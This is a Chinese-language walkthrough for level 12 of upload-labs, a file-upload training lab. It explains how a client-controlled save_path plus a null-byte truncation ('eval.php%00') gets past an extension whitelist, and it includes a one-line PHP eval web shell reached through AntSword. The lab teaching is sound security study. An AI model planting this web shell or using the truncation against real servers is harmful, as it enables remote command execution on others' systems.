upload-labs第十二关教程
一、源代码分析
代码审计
php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
这里为get请求传递文件路径到服务器,然后这里strrpos() 函数查找字符串在另一字符串中最后一次出现的位置,是后缀名白名单,截取后缀名并随机命名拼接,然后还有对$_GET['save_path']可控。
二、绕过分析
截断绕过
要求:php版本<5.3.29,且magic_quotes_gpc = Off,修改php.ini文件,将magic_quotes_gpc 设置为off
magic_quotes_gpc函数介绍
在PHP中作用是判断解析用户提示的数据,包括post/get/cookie过来的数据增加转义字符"\",以确保这些数据不会引起程序出现致命错误。
在magic_quotes_gpc=on的情况下,如果输入数据有单引号/双引号/反斜线/null字符等,都会被加上反斜线。
关闭magic_quotes_gpc
在php.ini文件内将magic_quotes_gpc改为Off
上传eval.png文件
php
<? @eval($_POST['cmd']); ?>
这里直接把eval.php改为eval.png就行了,因为这里没有请求头进行检测,所以可以这样
。
使用burpsuite进行抓包修改
由于对于save_path可控,所以在这里进行截断操作。
修改之前:
这里的save_path=../upload/
修改之后:
这里的save_path=../upload/eval.php%00
放包,查看是否上传成功
上传成功。这里虽然显示的是上传的是图片,其实是被截断。使用中国蚁剑时连接eval.php就行了。